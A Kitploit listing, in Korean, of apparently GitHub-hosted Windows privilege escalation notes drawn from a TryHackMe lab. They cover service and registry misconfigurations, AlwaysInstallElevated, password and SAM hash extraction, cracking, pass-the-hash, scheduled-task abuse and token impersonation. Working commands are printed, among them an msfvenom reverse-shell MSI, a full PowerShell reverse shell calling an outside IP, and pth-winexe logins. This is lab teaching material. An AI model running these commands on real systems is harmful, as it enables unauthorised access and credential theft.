Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Windows-Privilege-Escalation-Notes — Windows 권한 상승 개념에 대한 나의 핸드북입니다. 내 재생 목록을 확인해 보세요, 링크: https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk | Kitploit
도구/GitHubGitHub/saisathvik1/windows-privilege-escalation-notes
Privilege EscalationPassword AttacksExploitationInformation GatheringPost-ExploitationCTFPenetration TestingLearning & Education

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
saisathvik1/windows-privilege-escalation-notes

Windows-Privilege-Escalation-Notes

Windows 권한 상승 개념에 대한 나의 핸드북입니다. 내 재생 목록을 확인해 보세요, 링크: https://www.youtube.com/playlist?list=PLlrnAg4kKF3puXLI0JyltbNJOC2R2HVFk

저장소 보기
591434년 전Kitploit 검토 완료

Windows 권한 상승

  • 선호하는 룸은 https://tryhackme.com/room/windows10privesc 이지만, 원하는 것을 사용해도 됩니다.
  • 몇 가지 리소스,
    • https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
    • https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html
    • https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
    • https://www.fuzzysecurity.com/tutorials/16.html

Windows 머신의 계정 유형:

  • Administrator(로컬): 가장 많은 권한을 가진 사용자입니다.
  • Standard(로컬): 이 사용자들은 컴퓨터에 접근할 수 있지만 제한된 작업만 수행할 수 있습니다. 일반적으로 이러한 사용자는 시스템에 영구적이거나 필수적인 변경을 할 수 없습니다.
  • Guest: 이 계정은 시스템에 접근 권한을 부여하지만 사용자로 정의되지는 않습니다.
  • Standard(도메인): Active Directory를 통해 조직은 사용자 계정을 관리할 수 있습니다. 표준 도메인 계정은 로컬 관리자 권한을 가질 수 있습니다.
  • Administrator(도메인): 가장 권한이 많은 사용자로 간주될 수 있습니다. 조직의 도메인 전체에서 다른 사용자를 편집, 생성, 삭제할 수 있습니다.
  • SYSTEM: 이는 특별히 계정은 아니지만 Windows 서비스가 작업을 수행하기 위해 사용하는 계정이며, 이 계정도 더 높은 권한을 가지고 있습니다.

An Important point worth noting is Groups, any user of Group Administrator helps us to escalate!


정보 수집:

  • 가장 좋은 리소스 중 하나: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
  1. whoami /priv - 현재 사용자의 권한
  2. net users - 모든 사용자 목록
  3. net user <username> - 특정 사용자의 세부 정보 목록
  4. qwinsta - 동시에 로그인된 다른 사용자
  5. net localgroup - 시스템에서 사용 가능한 그룹
  6. net localgroup <group-name> - 특정 그룹의 구성원 목록
  7. systeminfo - OS에 대한 모든 정보 제공
  8. hostname - 시스템의 호스트명
  9. findstr /si password *.txt - 텍스트 파일에서 'password'를 포함하는 파일을 찾는 데 사용
  10. wmic qfe get Caption,Description,HotFixID,InstalledOn - 보안 패치 및 관련 정보를 알려줌
  11. netstat -ano - 머신과 관련된 연결
  12. schtasks /query /fo LIST /v - 예약된 작업이 있는지 확인
  13. - 드라이버 관련 정보 목록

Windows Exploit Suggester:

  • 대부분의 사람들이 사용하는 전설적인 도구입니다.
  • 이 도구를 사용하면 인터넷상의 60% 박스를 해결할 수 있습니다.
  • 링크: https://github.com/AonCyberLabs/Windows-Exploit-Suggester
  • systeminfo 명령의 출력을 여러분의 머신에 복사하기만 하면 됩니다. 이것이 이 도구의 유일한 요구 사항입니다.
  • 프로 팁: 모든 종속성이 충족되었는지 확인하세요!

취약한 소프트웨어:

  • 여기서는 설치된 소프트웨어 버전을 찾고 취약한지 여부를 확인합니다.
  • wmic product get name,version,vendor - 제품 이름, 버전, 공급업체를 제공합니다. 이 명령은 우리가 필요한 것을 적절히 시각화해 줍니다.
  • 때때로 위 명령이 작동하지 않을 수 있으므로 wmic service list brief | findstr "Running"을 사용하고, 서비스에 대한 더 많은 정보를 얻으려면 sc qc <ServiceName>을 사용하세요.


Metasploit을 통한 권한 상승:

  • Metasploit에서 세션을 얻은 후 post/multi/recon/local_exploit_suggester라는 모듈을 실행하세요. 이 도구가 제대로 작동하도록 세션이 백그라운드에 있는지 확인하거나 meterpreter에서 간단히 로드할 수 있습니다.
  • 그러면 악용할 수 있는 몇 가지 모듈을 제안할 것이므로 시도해 보세요. 일부는 작동할 수도 있습니다(선택 사항).


WinPEAS:

  • 매우 유용한 자동화된 열거 스크립트입니다.
  • 최상의 사용을 위해 winpeas.exe --help를 실행하여 모든 옵션을 확인하세요.
  • 필요한 옵션만 실행하고 출력을 조정하세요.


커널 익스플로잇:

  • Windows Exploit Suggester라는 이 특정 도구를 사용하세요.
  • 먼저 systeminfo 명령을 실행하여 시스템 정보를 얻고, 그것을 파일에 복사한 다음 .txt 확장자로 이름을 지정하세요.
  • 이제 데이터베이스를 사용하여 도구를 실행하세요.
  • 여기서 커널 관련 익스플로잇을 찾으세요.
  • 해킹을 즐기세요!!


서비스 익스플로잇:

안전하지 않은 서비스 권한:

  • 여기서는 안전하지 않은 권한을 가진 서비스를 식별한 다음 이를 악용하려고 시도합니다.

  • 여기서 winpeas.exe servicesinfo 명령을 사용할 수 있으며, 매우 유용한 서비스들을 볼 수 있습니다.

  • 출력에서 흥미로운 부분 중 하나는 다음과 같습니다.```

    daclsvc(DACL Service)["C:\Program Files\DACL Service\daclservice.exe"] - Manual - Stopped YOU CAN MODIFY THIS SERVICE: ChangeConfig

root@kitploit:~
- 그러나 더 자세한 정보를 얻기 위해 Microsoft에서 제공하는 **accesschk**라는 도구를 사용할 수 있습니다. 다음과 같이 실행하면 `accesschk.exe /accepteula -uwcqv <current-user> <service>`, 출력은,```
C:\PrivEsc>accesschk.exe /accepteula -uwcqv user daclsvc
daclsvc
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_CHANGE_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_STOP
        READ_CONTROL

  • 하지만 핵심 부분은 서비스의 구성을 변경할 수 있는 service_change_config입니다.
  • sc qc <service>를 실행한 다음, 변경할 Binary_path_name(이 값은 binpath라고도 함)을 확인합니다.
  • 이제 셸 유형의 페이로드를 생성하여 대상 머신에 전송합니다.
  • 구성을 변경하는 구문은 sc config <service> <option>="<value>"입니다.
  • 이제 sc config daclsvc binpath="<path>"를 실행하고 서비스를 시작합니다: sc start daclsvc

따옴표 없는 서비스 경로:(USP)

  • 서비스의 경우 경로는 따옴표로 묶여 있어야 합니다. 만약 그렇게 묶여 있지 않다면, 그 허점을 악용하여 높은 권한을 얻을 수 있습니다.``` Vulnerability Insight: The Windows API must assume where to find the referenced application if the path contains spaces and is not enclosed by quotation marks. If, for example, a service uses the unquoted path:

Vulnerable Service: C:\Program Files\Ignite Data\Vuln Service\file.exe

The system will read this path in the following sequence from 1 to 4 to trigger malicous.exe through a writeable directory.

C:\Program.exe C:\Program Files\Ignite.exe C:\Program Files\Ignite Data\Vuln.exe C:\Program Files\Ignite Data\Vuln Service\file.exe

root@kitploit:~
- 더 자세한 정보를 얻으려면 **WinPEAS** 스크립트를 `servicesinfo` 옵션과 함께 사용하면 됩니다. 여기서 **Unquoted Service Path**를 악용할 수 있는지에 대한 정보를 확인할 수 있습니다. 제가 도구를 실행했을 때 출력에서 흥미로운 부분은 다음과 같습니다,```
unquotedsvc(Unquoted Path Service)[C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe] - Manual - Stopped - No quotes and Space detected  
  • 여기 출력에는 No quotes and Space Detected가 명확히 표시되므로 USP를 사용하여 이 특정 서비스를 악용할 수 있다고 결론을 내릴 수 있습니다.
  • 서비스에 대한 자세한 정보를 수집하려면 sc qc <service>를 사용하십시오.
  • 이제 accesschk를 사용하여 특정 위치 C:\Program Files\Unquoted Path Service의 권한을 확인해 보겠습니다. accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service"를 실행하십시오. 출력:``` accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service" C:\Program Files\Unquoted Path Service Medium Mandatory Level (Default) [No-Write-Up] RW BUILTIN\Users RW NT SERVICE\TrustedInstaller RW NT AUTHORITY\SYSTEM RW BUILTIN\Administrators
root@kitploit:~
- 읽기 및 쓰기 권한이 있습니다.
- 이제 페이로드를 생성하여 `C:\Program Files\Unquoted Path Service`에 붙여넣겠습니다. `copy reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"`를 통해, 여기서는 알파벳 순서상 이점도 있는 다른 이름으로 지정하고 있습니다.
- 이제 서비스를 시작합니다. `sc start unquotedsvc`, 우리는 관리자입니다!!!

-----------------------
### 약한 레지스트리 권한:
- 여기서는 레지스트리 권한이 약한 서비스를 악용하려고 합니다.
- 찾으려면 `servicesinfo` 옵션과 함께 `Winpeas`를 사용해야 합니다. 출력은 다음과 유사합니다.```
����������͹ Looking if you can modify any service registry
� Check if you can modify the registry of a service https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions                                                                                          
    HKLM\system\currentcontrolset\services\regsvc (Interactive [FullControl])

이제 서비스 이름인 regsvc로 이동합니다. 이 서비스에 대해 자세히 알아보기 위해 sc qc regsvc를 실행하면 출력은 다음과 같습니다.``` sc qc regsvc [SC] QueryServiceConfig SUCCESS

SERVICE_NAME: regsvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : "C:\Program Files\Insecure Registry Service\insecureregistryservice.exe" LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Insecure Registry Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem

root@kitploit:~
- 흥미로운 사실은 경로가 따옴표로 묶여 있어 **Unquoted Service Path** 취약점이 없다는 것입니다.
- 이제 `accesschk.exe`를 실행하고 더 깊이 살펴보겠습니다. `accesschk /acceptula -uvwqk <path of registry>`(즉 `HKLM\system\currentcontrolset\services\regsvc`)를 실행하세요.
- 출력에서 `RW NT AUTHORITY\INTERACTIVE(KEY_ALL_ACCESS)`를 찾으면 이제 악용할 준비가 된 것입니다.
- 이제 `reg query HKLM\system\currentcontrolset\services\regsvc`를 사용하여 레지스트리 내의 옵션을 살펴보겠습니다. `ImagePath`라는 실행 파일 값을 받는 옵션을 찾았으니 이를 악용해 봅시다. 먼저 리버스 셸을 생성하세요.
- 이제 `reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f`를 실행하세요. 페이로드 경로는 자신의 필요에 따라 선택하세요.
- 이제 서비스를 실행하세요. `net start regsvc`를 실행하면 만세! 셸을 획득했습니다.

-----------------------
### 안전하지 않은 서비스 실행 파일:
- 여기서는 서비스의 파일 권한이 모든 사용자에게 접근 가능합니다! 서비스의 실행 파일을 변경하면 바로 악용할 수 있습니다!
- **Winpeas**를 특히 **servicesinfo** 모듈과 함께 실행하여 흥미로운 것이 있는지 살펴보겠습니다. 출력은 다음과 같습니다,```
filepermsvc(File Permissions Service)["C:\Program Files\File Permissions Service\filepermservice.exe"] - Manual - Stopped
    File Permissions: Everyone [AllAccess]

  • 모든 사용자가 filepermsvc 서비스의 파일에 접근할 수 있으므로, reverse_shell 페이로드를 생성하여 해당 서비스의 실행 파일을 교체하면 셸을 얻을 수 있습니다.
  • 이것은 위의 것에 비해 비교적 쉬운 편입니다.


레지스트리

  • 여기서는 레지스트리를 사용하여 정보를 찾아내고 이를 악용해 보겠습니다!
  • 우리는 악용할 수 있는 기능들을 확인하고 있습니다.

Autoruns:

  • Autoruns은 Windows에서 시작 시 일부 서비스나 응용 프로그램을 시작하는 기능입니다. 예를 들어 "greenshot"이 있습니다.
  • reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 명령을 실행하여 수동으로 확인할 수 있습니다. 이 명령은 자동 실행 프로그램과 해당 경로를 표시합니다.
  • 출력은 다음과 같습니다.``` HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SecurityHealth REG_EXPAND_SZ %windir%\system32\SecurityHealthSystray.exe My Program REG_SZ "C:\Program Files\Autorun Program\program.exe"
root@kitploit:~
- 경로가 있는 프로그램 2개를 확보했으니 테스트해 봅시다.
- 이제 **accesscheck**를 실행하여 이러한 자동 실행 항목들의 파일 경로에 어떤 권한이 있는지 확인해 보겠습니다.
- 간단히 `accesschk.exe \accepteula -wvu "<path>"`를 실행하면 됩니다. 저는 **My Program** 자동 실행의 경로에 대해 이 명령을 실행했고, 출력 결과 `FILE_ALL_ACCESS`가 표시되어 이 폴더에서 사실상 무엇이든 할 수 있습니다. 주로 원래 실행 파일을 교체한 후 시스템을 재시작하면 셸을 얻을 수 있습니다.
- 이제 관리자가 로그인할 때까지 기다리면 권한 있는 사용자로 셸을 얻을 수 있습니다!
- 여기서 핵심은 관리자/소유자가 로그인할 때까지 기다려야 한다는 것이며, 그러면 바로 진행할 수 있습니다!

------------------------------
### AlwaysInstallElevated
- 표준 사용자가 **msi**(Microsoft Installer)를 관리자 권한으로 설치할 수 있게 해줍니다.
- 더 높은 권한을 얻는 멋지고 쉬운 방법입니다.
- 다음 명령을 실행하여 확인할 수 있습니다.
`reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
` 및
`reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
`
- 두 명령을 모두 실행했을 때 **AlwaysInstallElevated** 값이 1 또는 0x1이어야 합니다. 그러면 확인이 끝나고 계속 진행할 수 있습니다.
- 이제 **msi** 형식의 리버스 셸을 만듭니다. 참고용으로 아래 명령을 확인하세요.
`msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.39.50 LPORT=4444 --platform windows -f msi > reverse.msi`
- 이제 그것을 Windows 머신으로 전송하고 다음 명령을 실행합니다.
`msiexec /quiet /qn /i reverse.msi`
- 만세! `nt authority\system` 권한으로 셸을 얻었습니다.

------------------
-------------------
## 비밀번호:
- 여기서는 레지스트리, 파일 등에서 자격 증명을 찾아봅니다.
- 그리고 로그인을 시도해 볼 것입니다!

----------------------
### 레지스트리에서 비밀번호 찾기:
- 레지스트리에서 비밀번호를 검색할 수 있습니다. 때로는 다른 사용자의 비밀번호나 소유자의 비밀번호도 찾을 수 있습니다.
- `reg query HKLM /f password /t REG_SZ /s`를 실행하면 레지스트리에서 **password** 문자열을 포함하는 모든 세부 정보가 표시됩니다. 검색해 보면 찾을 수도 있습니다! 하지만 안타깝게도 저는 아무것도 얻지 못했습니다.
- 또한 `reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
`도 실행해 보면 몇 가지 정보를 찾을 수 있습니다.
- 전설적인 도구 **winPEAS**를 활용할 수도 있습니다. `windowscreds` 같은 옵션은 자격 증명을 찾고, `filesinfo`는 파일과 레지스트리에서 유용한 데이터(때로는 비밀번호도)를 찾습니다.
- 여기서 비밀번호를 획득한 후, 그것은 `password123`입니다. 이제 **psexec**(링크: https://github.com/SecureAuthCorp/impacket/blob/master/examples/psexec.py)을 이용해 로그인해 봅시다. 구문은 `python3 psexec.py [email protected]`이고, 비밀번호를 입력하라는 프롬프트가 나오면 입력하면 admin처럼 접근할 수 있습니다!

-------------------------
### 비밀번호: Savedcreds
- 먼저 `cmdkey /list`를 실행하세요. 여기서 **cmdkey**는 저장된 사용자 이름과 비밀번호 또는 자격 증명을 *생성, 나열, 삭제*하는 Windows 서버 응용 프로그램입니다. 이 명령을 실행하면 저장된 모든 사용자 자격 증명을 볼 수 있습니다!
- 출력은 다음과 같습니다.```
Currently stored credentials:

    Target: WindowsLive:target=virtualapp/didlogical
    Type: Generic 
    User: 02nfpgrklkitqatu
    Local machine persistence
    
    Target: Domain:interactive=WIN-QBA94KB3IOF\admin
    Type: Domain Password
    User: WIN-QBA94KB3IOF\admin
  • 사용자 admin이 보이므로 runas 유틸리티를 사용해 보겠습니다. 이 유틸리티는 사용자가 현재 로그온에서 제공하는 권한과 다른 권한으로 특정 도구와 프로그램을 실행할 수 있게 해줍니다.
  • runas /savecred /user:admin C:\Temp\reverse.exe를 실행해 봅시다. 그러면 관리자 권한을 얻을 수 있습니다.

비밀번호: SAM(보안 계정 관리자)

  • SAM은 Windows 비밀번호의 NTLM 해시로 구성되어 있습니다. 이 해시들을 크랙할 기회가 있지만, 해시를 다루고 있기 때문에 항상 도움이 되는 것은 아닙니다!
  • 하지만 이 방법을 아는 것은 분명히 도움이 됩니다.
  • 그리고 99%의 경우 SAM 파일은 일반 권한으로 접근할 수 없지만, 이 박스에서는 작성자가 C:\Windows\Repair 디렉터리에 SAM 파일의 복사본을 만들어 두었기 때문에 우리가 실습할 수 있습니다! 해당 디렉터리에는 SAM과 SYSTEM이라는 2개의 파일이 있습니다.
  • creddump7(https://github.com/CiscoCXSecurity/creddump7)이라는 도구와 함께 사용하려면 두 파일을 모두 가져와야 합니다. 저는 meterpreter의 download 명령을 통해 그 파일들을 얻었습니다.
  • 이제 클론한 후 다음 명령어 python2 pwdump.py /opt/work/SYSTEM /opt/work/SAM를 실행하면 Windows 머신에 있는 사용자들의 해시가 표시됩니다. 출력은 다음과 같습니다.``` Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:6ebaa6d5e6e601996eefe4b6048834c2::: user:1000:aad3b435b51404eeaad3b435b51404ee:91ef1073f6ae95f5ea6ace91c09a963a::: admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::
root@kitploit:~
이제 위의 내용을 텍스트 파일에 저장한 다음 **JohnTheRipper**의 도움으로 크랙하세요. 구문은 `john --format=NT hashes.txt --wordlist=/usr/share/wordlist/rockyou.txt`이며, 크랙되었습니다!```
password123      (admin)     
password321      (user)     
Passw0rd!        (Administrator)  

비밀번호: Pass the hash 공격

  • 해시가 워드리스트에 없어서 크랙하지 못한다고 가정해 봅시다. 그렇다면 Pass the hash 공격을 사용할 수 있습니다. 이 공격은 해시를 이용해 인증할 수 있게 해줍니다!
  • 그럼 해시를 얻으세요. 여기서는 해시가 a9fdfa038c4b75ebc76dc855dd74f0da인 admin으로 로그인해 봅시다.
  • 먼저 export 하세요, export SMBHASH=aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da 여기서는 그룹 ID도 함께 포함된 해시를 사용합니다.
  • 그런 다음 pth-winexe -U admin% //10.10.213.97 cmd.exe를 실행했고 admin 셸을 얻었습니다.
  • pth-winexe 도구는 Kali에 이미 있습니다.
  • 막히면 이 문서를 확인하세요: https://www.whitelist1.com/2017/10/pass-hash-pth-attack-with-pth-winexe.html


예약 작업 악용:

  • Linux와 마찬가지로 Windows에도 예약 작업이 있습니다.
  • 모든 예약 작업을 보려면 schtasks /query /fo LIST /V를 실행하세요.
  • 여기서 CleanUp.ps1이 흥미로워 보이고 경로는 C:\DevTools\CleanUp.ps1입니다.
  • 그럼 이 위치와 해당 파일에 대해 무엇을 할 수 있는지 확인해 봅시다. accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1을 실행하면 읽기, 쓰기 등의 모든 권한이 있음을 확인할 수 있습니다.
  • 작업 설명의 프로세스가 조금 달라서 PowerShell 리버스 셸을 찾아보았고, 다음과 같습니다.``` $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
root@kitploit:~
- 그런 다음 `CleanUp.ps1`로 전송하고 이름을 바꿨더니 연결을 얻었습니다.

--------------------
---------------------
## 안전하지 않은 GUI 앱:
- RDP 연결을 얻은 후 `Taskmanager`를 열고 `Details` 탭에서 실행 중인 애플리케이션과 사용자를 확인할 수 있습니다.
- 여기서는 `mspaint.exe`를 관리자로 실행하도록 의도적으로 구성했으므로 이것이 대상이 됩니다.
- **Paint**로 작업하고 있으므로 파일을 열 수 있는 옵션이 있습니다. `file://c:/windows/system32/cmd.exe`를 열면 짠! **admin** 사용자로 셸을 얻습니다!
- 여기서 기능은 다소 제한적입니다. 항상 RDP 연결을 얻을 수 있는 것은 아니기 때문입니다.

-----------------------
----------------------
## 시작 앱:
- Windows에는 일부 앱이 시작 시 실행되도록 허용하는 기능이 있으며, 이 기능을 악용할 수 있습니다.
- 시작 앱은 `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp`에 있으며, 이는 기본 경로입니다.
- **accesschk.exe**를 통해 무엇을 할 수 있는지 확인해 보겠습니다. `accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"`를 실행하세요. 출력은 다음과 같습니다.```
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Users
  RW WIN-QBA94KB3IOF\Administrator
  RW WIN-QBA94KB3IOF\admin
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  R  Everyone
  • 여기에는 관리자 권한으로 실행되는 CreateShortcut.vbs라는 스크립트가 있으며, 주요 목적은 업로드한 리버스 셸에 대한 바로 가기를 만드는 것입니다.
  • 페이로드를 전송하고 스크립트를 실행한 다음에는 관리자가 로그인할 때까지 기다리면 셸을 얻을 수 있습니다.
  • 이 방법은 드물고 이를 통한 악용 가능성은 낮습니다.


토큰 가장:

  • 토큰은 컴퓨터의 쿠키와 같아서, 네트워크에 연결할 때마다 자격 증명을 입력할 필요가 없다는 장점이 있습니다.
  • 토큰에는 2가지 유형이 있습니다.
  1. Delegate token: 머신에 로그인하거나 RDP를 사용할 때 생성됩니다.
  2. Impersonate token: 비대화형이며, 네트워크 드라이브 연결이나 도메인 로그온 스크립트에 사용됩니다.
  • meterpreter 세션에서 list_tokens -u를 실행하면 모든 토큰을 볼 수 있습니다. 멋진 토큰을 찾은 후에는 impersonate_token <name of token>을 실행하면 됩니다.
  • 또한 whomai /priv를 실행하면 현재 사용자의 권한을 볼 수 있습니다. 여기서 SeAssignPrimaryToken... 등과 같은 위험한 권한을 찾을 수 있다면, 이는 매우 위험합니다! 이러한 권한과 악용 방법에 대해 더 알아보려면 다음 문서를 확인하세요: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#eop---impersonation-privileges

Potato 공격:

  • 이 공격에 대한 가이드: https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/
  • 사용할 수 있는 페이로드: https://github.com/ohpe/juicy-potato
  • 여기서는 NT Authority/System과 같은 액세스 권한을 얻으려고 합니다. [아직 진행 중.....]
도구 다운로드
driverquery
  • sc query windefend - 안티바이러스 서비스 확인